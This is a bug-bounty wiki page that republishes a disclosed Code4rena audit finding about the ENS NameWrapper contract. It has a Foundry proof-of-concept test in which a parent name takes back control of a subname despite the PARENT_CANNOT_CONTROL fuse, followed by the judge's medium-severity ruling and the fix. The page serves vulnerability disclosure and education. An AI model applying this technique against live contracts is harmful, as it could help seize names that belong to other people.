Skip to content
Access control Audit finding Advanced

NameWrapper: Wrapped to Unregistered to ignore PARENT_CANNOT_CONTROL

A wrapped subdomain with the PARENT_CANNOT_CONTROL fuse could be unwrapped and its ENS registry owner set to zero, making it appear unregistered. The parent could then recreate the subdomain and take control, despite the fuse that should prevent parent control.

zzzitron Follow

Originally disclosed on Code4rena

Submitted by zzzitron

https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L512 https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L550

Impact

  • owner of a wrapped node without CANNOT_UNWRAP fuse can unwrap and set the ens.owner(node) to zero to be an unregistered state
  • if it happens, even if the node has PARENT_CANNOT_CONTROL fuse, the parent of the node can change the NameWrappwer.owner of the node

Proof of Concept

Below is a snippet of the proof of concept. The whole code can be found in this gist. And how to run test is in the comment in the gist.

In the proof of concept below, the parent node is vitalik.eth and the child node is sub1.vitalik.eth. The parent node has PARENT_CANNOT_CONTROL, IS_DOT_ETH and CANNOT_UNWRAP and the child node has PARENT_CANNOT_CONTROL.

The child node unwraps itself and set the owner on ens contract to the address(0) or address(ens), which will make the child node to unregistered state even before expiry of the node.

Since technically the child node is unregistered, the parent can now ‘create’ the ‘unregistered’ node sub1.vitalik.eth by simply calling setSubnodeRecord. By doing so, the parent can take control over the child node, even though the PARENT_CANNOT_CONTROL fuse was set and it was before expiry.

    function testM4WrappedToUnregistered() public {
        string memory parent = 'vitalik.eth';
        string memory sub1_full = 'sub1.vitalik.eth';
        string memory sub1 = 'sub1';
        (, bytes32 parent_node) = parent.dnsEncodeName();
        (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();

        // wrap parent and lock
        vm.prank(user1);
        registrar.setApprovalForAll(address(nameWrapper), true);
        vm.prank(user1);
        nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0));
        // checks
        (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node));
        assertEq(owner, user1);
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP);
        assertEq(expiry, 2038123728);

        // subnode
        vm.prank(user1);
        nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000);
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, user2);
        assertEq(fuses, PARENT_CANNOT_CONTROL);
        assertEq(expiry, 1700000000);

        // parent cannot set record on the sub1
        vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node));
        vm.prank(user1);
        nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0);

        // parent: pcc cu
        // child: pcc

        // unwrap sub and set the ens owner to zero -> now parent can change owner
        vm.prank(user2);
        nameWrapper.unwrap(parent_node, _hashLabel(sub1), address(ens));
        assertEq(ens.owner(sub1_node), address(0));

        // sub node has PCC but parent can set owner, resolve and ttl
        vm.prank(user1);
        nameWrapper.setSubnodeRecord(parent_node, sub1, address(246), address(12345), 111111, 0, 0);
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, address(246));
        assertEq(fuses, PARENT_CANNOT_CONTROL);
        assertEq(expiry, 1700000000);
        assertEq(ens.resolver(sub1_node), address(12345));
        assertEq(ens.ttl(sub1_node), 111111);

        // can change fuse as the new owner of sub1
        vm.prank(address(246));
        nameWrapper.setFuses(sub1_node, uint16(CANNOT_UNWRAP));
        (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node));
        assertEq(owner, address(246));
        assertEq(fuses, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP);
        assertEq(expiry, 1700000000);
        assertEq(ens.resolver(sub1_node), address(12345));
        assertEq(ens.ttl(sub1_node), 111111);
    }

It is unlikely that the child node will set the owner of the ENS Registry to zero. But hypothetically, the owner of the child node wanted to “burn” the subnode thinking that no one can use it until the expiry. In that case the owner of the parent node can just take over the child node.

Tools Used

foundry

Recommended Mitigation Steps

Unclear, but consider using ENS.recordExists instead of checking the ENS.owner.

jefflau (ENS) confirmed

Alex the Entreprenerd (judge) commented:

The warden has shown how, after burning the PARENT_CANNOT_CONTROL fuse, by unregistering a node, it’s possible for the Parent to control the node again.

An invariant is broken, but this condition is reliant on the node owner for it to be possible.

Because of this, I believe Medium Severity to be appropriate.

csanuragjain (warden) commented:

Fixed.

If ens address was zero then earlier code bypassed check for PARENT_CANNOT_CONTROL and only checked CANNOT_CREATE_SUBDOMAIN

if (owner == address(0)) {
            (, uint32 fuses, ) = getData(uint256(node));
            if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) {
			revert OperationProhibited(subnode);
            }
			...

With the updated code, all unexpired nodes will be checked for PARENT_CANNOT_CONTROL fuse

bool expired = subnodeExpiry < block.timestamp;
        if (
            expired && ...)
			...
			} else {
            if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) {
                revert OperationProhibited(subnode);
            }

The original report as published on Code4rena, by zzzitron. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the contract checks the ENS registry owner to decide if a node is registered, so setting that owner to zero bypasses the PARENT_CANNOT_CONTROL fuse check.

Impact

If the subname owner sets the registry owner to zero, the parent can take control of the subname even though PARENT_CANNOT_CONTROL was set and before expiry.

What the attacker needed

Owner of a wrapped subname; subname has PARENT_CANNOT_CONTROL; subname owner unwraps and sets registry owner to zero

The fix

The code was fixed to check the PARENT_CANNOT_CONTROL fuse for all unexpired nodes, not only when the registry owner is non-zero.

How it was found

  1. Wrap the parent name and set CANNOT_UNWRAP.
  2. Create a subname with PARENT_CANNOT_CONTROL.
  3. Confirm the parent cannot set a record on the subname.
  4. As the subname owner, unwrap and set the ENS registry owner to zero.
  5. As the parent, call setSubnodeRecord to recreate the subname and take control.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

ENS names can be wrapped in a smart contract that adds rules called fuses. One fuse, PARENT_CANNOT_CONTROL, is meant to stop the parent name from ever taking back control of a subname. This report shows that if the subname owner unwraps and sets the registry owner to zero, the system treats the subname as unregistered, so the parent can recreate it and take control.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by zzzitron

View all

21 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.